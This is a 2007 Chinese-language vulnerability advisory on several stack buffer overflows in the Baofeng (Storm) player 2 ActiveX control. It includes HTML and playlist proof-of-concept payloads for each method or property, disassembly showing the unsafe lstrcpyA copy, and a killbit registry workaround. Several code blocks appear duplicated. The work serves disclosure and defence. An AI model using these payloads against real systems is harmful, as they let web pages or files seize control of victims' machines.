[Advisory]暴风影音2 mps.dll组件多个缓冲区溢出漏洞
Author: ZhenHan.Liu
Date: 2007-09-07
http://www.ph4nt0m.org
Text Mode
网上爆出了一个暴风影音的activex漏洞，调用的是rawParse这个方法，于是简单看了下，发现问题真不少。这些问题都是可以控制eip或者是seh的，也就是说每个漏洞都可以导致执行任意代码。
影响版本：暴风影音2(其他未测试)
未受影响版本：无(目前无补丁)
URL属性、rawParse方法和advancedOpen方法溢出的poc分别如下：
[Vuln 1]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 300) {
s += "\x0c";
}
storm.URL = s;
</script>
</body>
</html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 300) {
s += "\x0c";
}
storm.URL = s;
</script>
</body>
</html>
[Vuln 2]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 300) {
s += "\x0c";
}
storm.rawParse(s);
</script>
</body>
</html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 300) {
s += "\x0c";
}
storm.rawParse(s);
</script>
</body>
</html>
[Vuln 3]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 1050) {
s += "\x0c";
}
storm.advancedOpen(s, "");
</script>
</body>
</html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 1050) {
s += "\x0c";
}
storm.advancedOpen(s, "");
</script>
</body>
</html>
URL属性、rawParse方法和advancedOpen方法的溢出本质是同一个问题，他们都调用了sparser.dll导出的一个函数。这个函数从代码来看是处理路径和URL的，URL属性和rawParse方法传入的参数也都是URL。
.text:10004F40 ; int __stdcall sub_10004F40(LPCSTR lpMultiByteStr,int,int)
.text:10004F40 sub_10004F40 proc near ; DATA XREF: .rdata:1000F2D0o
.text:10004F40
.text:10004F40 var_14 = dword ptr -14h
.text:10004F40 var_10 = dword ptr -10h
.text:10004F40 var_C = dword ptr -0Ch
.text:10004F40 var_4 = dword ptr -4
.text:10004F40 lpMultiByteStr = dword ptr 4
.text:10004F40 arg_8 = dword ptr 0Ch
.text:10004F40
.text:10004F40 mov eax, large fs:0
.text:10004F46 push 0FFFFFFFFh
.text:10004F48 push offset loc_1000EB21
.text:10004F4D push eax
... ... ... ...
.text:1000506D call dword ptr [ecx+4]
.text:10005070 mov ecx, esi
.text:10005072 mov edx, [esp+24h+lpMultiByteStr]
.text:10005076 push edx ; lpMultiByteStr
.text:10005077 call sub_10002450
.text:10004F40 sub_10004F40 proc near ; DATA XREF: .rdata:1000F2D0o
.text:10004F40
.text:10004F40 var_14 = dword ptr -14h
.text:10004F40 var_10 = dword ptr -10h
.text:10004F40 var_C = dword ptr -0Ch
.text:10004F40 var_4 = dword ptr -4
.text:10004F40 lpMultiByteStr = dword ptr 4
.text:10004F40 arg_8 = dword ptr 0Ch
.text:10004F40
.text:10004F40 mov eax, large fs:0
.text:10004F46 push 0FFFFFFFFh
.text:10004F48 push offset loc_1000EB21
.text:10004F4D push eax
... ... ... ...
.text:1000506D call dword ptr [ecx+4]
.text:10005070 mov ecx, esi
.text:10005072 mov edx, [esp+24h+lpMultiByteStr]
.text:10005076 push edx ; lpMultiByteStr
.text:10005077 call sub_10002450
该函数第二、三个参数都是指向用户输入串拷贝的指针，最后一行进入另一个函数：
.text:10002450 ; int __stdcall sub_10002450(LPCSTR lpMultiByteStr)
.text:10002450 sub_10002450 proc near ; CODE XREF: sub_10004F40+137p
.text:10002450
.text:10002450 var_12C = dword ptr -12Ch
.text:10002450 pszPath = byte ptr -120h
.text:10002450 var_1C = dword ptr -1Ch
.text:10002450 var_4 = dword ptr -4
.text:10002450 lpMultiByteStr = dword ptr 8
.text:10002450
.text:10002450 push ebp
.text:10002451 mov ebp, esp
.text: 10002453 sub esp, 120h ; 注意这里分配了120h即288字节大小的buffer
... ... ... ...
.text:100024ED mov edi, [ebp+lpMultiByteStr]
.text:100024F0 push edi ; pszPath
.text: 100024F1 call ds:PathIsURLA ; 这里判断是否为合法的URL
.text:100024F7 test eax, eax
.text: 100024F9 jz loc_10002582 ; 如果不是则跳转
... ... ... ...
.text:10002582 lea eax, [ebp+pszPath]
.text: 10002588 push edi ; 用户输入的串
.text:10002589 push eax
.text: 1000258A call ds:lstrcpyA ; 串拷贝造成栈溢出
.text:10002450 sub_10002450 proc near ; CODE XREF: sub_10004F40+137p
.text:10002450
.text:10002450 var_12C = dword ptr -12Ch
.text:10002450 pszPath = byte ptr -120h
.text:10002450 var_1C = dword ptr -1Ch
.text:10002450 var_4 = dword ptr -4
.text:10002450 lpMultiByteStr = dword ptr 8
.text:10002450
.text:10002450 push ebp
.text:10002451 mov ebp, esp
.text: 10002453 sub esp, 120h ; 注意这里分配了120h即288字节大小的buffer
... ... ... ...
.text:100024ED mov edi, [ebp+lpMultiByteStr]
.text:100024F0 push edi ; pszPath
.text: 100024F1 call ds:PathIsURLA ; 这里判断是否为合法的URL
.text:100024F7 test eax, eax
.text: 100024F9 jz loc_10002582 ; 如果不是则跳转
... ... ... ...
.text:10002582 lea eax, [ebp+pszPath]
.text: 10002588 push edi ; 用户输入的串
.text:10002589 push eax
.text: 1000258A call ds:lstrcpyA ; 串拷贝造成栈溢出
通过以上分析发现，程序在处理非法超长(长度大于MAX_PATH)URL时发生栈溢出。这个函数是个导出函数，暴风影音其他地方如果调用这个函数的话，都可能有问题。于是通过在这个函数下断点发现暴风影音主程序处理URL时也是调用这个函数，同样也有问题。我们构造一个播放列表文件就可以触发：
[Vuln 4]
<?xml version="1.0" encoding="GB2312"?>
<PlayList>
<item name="ph4nt0m" time="" path="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>
</PlayList>
<PlayList>
<item name="ph4nt0m" time="" path="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>
</PlayList>
但是问题还远远没有结束，在mps.dll中，还存在很明显的以下几个漏洞：
IsDVDPath方法：
037EAB8B 56 PUSH ESI
037EAB8C 57 PUSH EDI
037EAB8D 50 PUSH EAX ; src
037EAB8E 8D85 F0FEFFFF LEA EAX,DWORD PTR SS:[EBP-110] ; dest
037EAB94 68 30FE8003 PUSH mps.0380FE30 ; ASCII "%s\video_ts.ifo"
037EAB99 50 PUSH EAX
037EAB9A E8 F2FA0000 CALL mps.037FA691 ; copy
037EAB8C 57 PUSH EDI
037EAB8D 50 PUSH EAX ; src
037EAB8E 8D85 F0FEFFFF LEA EAX,DWORD PTR SS:[EBP-110] ; dest
037EAB94 68 30FE8003 PUSH mps.0380FE30 ; ASCII "%s\video_ts.ifo"
037EAB99 50 PUSH EAX
037EAB9A E8 F2FA0000 CALL mps.037FA691 ; copy
[Vuln 5]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 1050) {
s += "\x0c";
}
storm.isDVDPath(s);
</script>
</body>
</html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 1050) {
s += "\x0c";
}
storm.isDVDPath(s);
</script>
</body>
</html>
backImage属性：
03FA6D5B . 8D9E 0C030000 LEA EBX,DWORD PTR DS:[ESI+30C] <===========
03FA6D84 . FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; /String2
03FA6D87 . 8986 08030000 MOV DWORD PTR DS:[ESI+308],EAX ; |
03FA6D8D . 53 PUSH EBX ; |String1
03FA6D8E . FF15 5471FC03 CALL DWORD PTR DS:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA
03FA6D94 > 8B86 34040000 MOV EAX,DWORD PTR DS:[ESI+434]
03FA6D9A . 8D8E 34040000 LEA ECX,DWORD PTR DS:[ESI+434] <===========
03FA6DA0 . 894D 0C MOV DWORD PTR SS:[EBP+C],ECX
03FA6DA3 . FF50 04 CALL DWORD PTR DS:[EAX+4]
03FA6D84 . FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; /String2
03FA6D87 . 8986 08030000 MOV DWORD PTR DS:[ESI+308],EAX ; |
03FA6D8D . 53 PUSH EBX ; |String1
03FA6D8E . FF15 5471FC03 CALL DWORD PTR DS:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA
03FA6D94 > 8B86 34040000 MOV EAX,DWORD PTR DS:[ESI+434]
03FA6D9A . 8D8E 34040000 LEA ECX,DWORD PTR DS:[ESI+434] <===========
03FA6DA0 . 894D 0C MOV DWORD PTR SS:[EBP+C],ECX
03FA6DA3 . FF50 04 CALL DWORD PTR DS:[EAX+4]
[Vuln 6]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 1050) {
s += "\x0c";
}
storm.backImage = s;
</script>
</body>
</html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 1050) {
s += "\x0c";
}
storm.backImage = s;
</script>
</body>
</html>
titleImage属性：
03EA68E7 . FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; /String2
03EA68EA . 8903 MOV DWORD PTR DS:[EBX],EAX ; |
03EA68EC . 8D86 A4010000 LEA EAX,DWORD PTR DS:[ESI+1A4] ; |
03EA68F2 . 50 PUSH EAX ; |String1
03EA68F3 . FF15 5471EC03 CALL DWORD PTR DS:[<&KERNEL32.lstrcpy>; \lstrcpyA
03EA68F9 > 8B86 C8020000 MOV EAX,DWORD PTR DS:[ESI+2C8]
03EA68FF . 8D9E C8020000 LEA EBX,DWORD PTR DS:[ESI+2C8]
03EA6905 . 8BCB MOV ECX,EBX
03EA6907 . 895D 0C MOV DWORD PTR SS:[EBP+C],EBX
03EA690A . FF50 04 CALL DWORD PTR DS:[EAX+4]
03EA68EA . 8903 MOV DWORD PTR DS:[EBX],EAX ; |
03EA68EC . 8D86 A4010000 LEA EAX,DWORD PTR DS:[ESI+1A4] ; |
03EA68F2 . 50 PUSH EAX ; |String1
03EA68F3 . FF15 5471EC03 CALL DWORD PTR DS:[<&KERNEL32.lstrcpy>; \lstrcpyA
03EA68F9 > 8B86 C8020000 MOV EAX,DWORD PTR DS:[ESI+2C8]
03EA68FF . 8D9E C8020000 LEA EBX,DWORD PTR DS:[ESI+2C8]
03EA6905 . 8BCB MOV ECX,EBX
03EA6907 . 895D 0C MOV DWORD PTR SS:[EBP+C],EBX
03EA690A . FF50 04 CALL DWORD PTR DS:[EAX+4]
[Vuln 7]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 1050) {
s += "\x0c";
}
storm.titleImage = s;
</script>
</body>
</html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";
while (s.length < 1050) {
s += "\x0c";
}
storm.titleImage = s;
</script>
</body>
</html>
针对该控件漏洞的临时解决办法是对该com组建设置killbit，把下面内容保存为.reg文件，双击导入注册表：
[Patch]
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
"Compatibility Flags"=dword:00000400
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
"Compatibility Flags"=dword:00000400
暴风影音在前段时间宣布脱离了MPC内核，现在大部分代码都是自己写的。我们看到暴风影音在业务迅速发展，版本迅速更新的同时，带来的是对产品安全的忽视与侥幸心理。我以前一直感觉暴风影音会有问题，因为他包含了太多的dll，随便哪个文件格式出问题，就会导致严重漏洞。这些漏洞也许只是冰山的一角，继续挖掘下去，也许会发现更多的东西。快速发展型企业生存不容易，愿“暴风”一路走好。
1 条评论:
沙发。
发表评论